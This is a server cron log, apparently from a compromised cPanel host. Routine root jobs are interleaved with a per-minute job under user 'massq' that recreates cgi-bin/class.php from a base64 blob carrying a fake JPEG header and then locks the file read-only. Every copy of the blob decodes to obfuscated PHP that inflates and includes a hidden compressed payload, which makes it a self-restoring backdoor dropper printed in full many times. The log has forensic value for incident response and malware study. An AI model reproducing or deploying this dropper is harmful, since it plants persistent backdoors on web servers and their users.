Nov 13 04:20:01 server CROND[11429]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:20:01 server CROND[11428]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 04:21:01 server CROND[12342]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:22:01 server CROND[12928]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:23:01 server CROND[13556]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:24:01 server CROND[14406]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:25:01 server CROND[15382]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 04:25:01 server CROND[15383]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 04:25:01 server CROND[15384]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 13 04:25:01 server CROND[15385]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:26:01 server CROND[16298]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:27:01 server CROND[17167]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 04:27:01 server CROND[17168]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:28:01 server CROND[18037]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:29:01 server CROND[18869]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:30:01 server CROND[19424]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 04:30:01 server CROND[19425]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 13 04:30:01 server CROND[19431]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Nov 13 04:30:01 server CROND[19433]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:30:01 server CROND[19436]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 04:30:01 server CROND[19432]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 04:31:01 server CROND[20451]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:32:01 server CROND[21299]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
